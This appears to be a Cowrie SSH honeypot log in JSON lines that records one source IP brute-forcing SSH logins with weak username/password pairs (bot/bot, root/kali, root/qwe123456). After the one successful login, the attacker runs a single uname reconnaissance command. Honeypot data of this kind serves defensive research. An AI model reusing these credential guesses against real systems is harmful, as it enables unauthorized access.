{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.323002Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.567310Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.769830Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.771515Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.891617Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.895378Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56784,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f25b6bb3101","protocol":"ssh","message":"New connection: 45.156.87.253:56784 (10.17.0.5:22) [session: 9f25b6bb3101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:54.791572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:54.795919Z","src_ip":"45.156.87.253","session":"9f25b6bb3101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:54.876209Z","src_ip":"45.156.87.253","session":"9f25b6bb3101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:55.120287Z","src_ip":"45.156.87.253","session":"9f25b6bb3101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:56.203945Z","src_ip":"45.156.87.253","session":"9f25b6bb3101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56790,"dst_ip":"10.17.0.5","dst_port":22,"session":"1497fb1e05bb","protocol":"ssh","message":"New connection: 45.156.87.253:56790 (10.17.0.5:22) [session: 1497fb1e05bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:58.297690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:58.304251Z","src_ip":"45.156.87.253","session":"1497fb1e05bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:58.385068Z","src_ip":"45.156.87.253","session":"1497fb1e05bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:58.631031Z","src_ip":"45.156.87.253","session":"1497fb1e05bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:59.813397Z","src_ip":"45.156.87.253","session":"1497fb1e05bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49528,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b8cab86cfe","protocol":"ssh","message":"New connection: 45.156.87.253:49528 (10.17.0.5:22) [session: 65b8cab86cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:01.569169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:01.658983Z","src_ip":"45.156.87.253","session":"65b8cab86cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:01.662002Z","src_ip":"45.156.87.253","session":"65b8cab86cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:01.986398Z","src_ip":"45.156.87.253","session":"65b8cab86cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:03.077224Z","src_ip":"45.156.87.253","session":"65b8cab86cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49536,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e74bbccbea9","protocol":"ssh","message":"New connection: 45.156.87.253:49536 (10.17.0.5:22) [session: 7e74bbccbea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:05.043836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:05.049241Z","src_ip":"45.156.87.253","session":"7e74bbccbea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:05.131397Z","src_ip":"45.156.87.253","session":"7e74bbccbea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:05.377614Z","src_ip":"45.156.87.253","session":"7e74bbccbea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:06.462225Z","src_ip":"45.156.87.253","session":"7e74bbccbea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49538,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf8f51e59b1","protocol":"ssh","message":"New connection: 45.156.87.253:49538 (10.17.0.5:22) [session: 7cf8f51e59b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:08.467395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:08.472002Z","src_ip":"45.156.87.253","session":"7cf8f51e59b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:08.553497Z","src_ip":"45.156.87.253","session":"7cf8f51e59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:08.798404Z","src_ip":"45.156.87.253","session":"7cf8f51e59b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:09.882643Z","src_ip":"45.156.87.253","session":"7cf8f51e59b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57672,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28910a97ecc","protocol":"ssh","message":"New connection: 45.156.87.253:57672 (10.17.0.5:22) [session: f28910a97ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:11.793962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:11.798361Z","src_ip":"45.156.87.253","session":"f28910a97ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:11.883410Z","src_ip":"45.156.87.253","session":"f28910a97ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:12.127887Z","src_ip":"45.156.87.253","session":"f28910a97ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:13.212730Z","src_ip":"45.156.87.253","session":"f28910a97ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57692,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d0e8a100444","protocol":"ssh","message":"New connection: 45.156.87.253:57692 (10.17.0.5:22) [session: 4d0e8a100444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:15.267037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:15.271627Z","src_ip":"45.156.87.253","session":"4d0e8a100444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:15.354379Z","src_ip":"45.156.87.253","session":"4d0e8a100444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:15.600649Z","src_ip":"45.156.87.253","session":"4d0e8a100444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:16.688047Z","src_ip":"45.156.87.253","session":"4d0e8a100444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57700,"dst_ip":"10.17.0.5","dst_port":22,"session":"212f0be3687b","protocol":"ssh","message":"New connection: 45.156.87.253:57700 (10.17.0.5:22) [session: 212f0be3687b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:18.573610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:18.577502Z","src_ip":"45.156.87.253","session":"212f0be3687b","protocol":"ssh"}
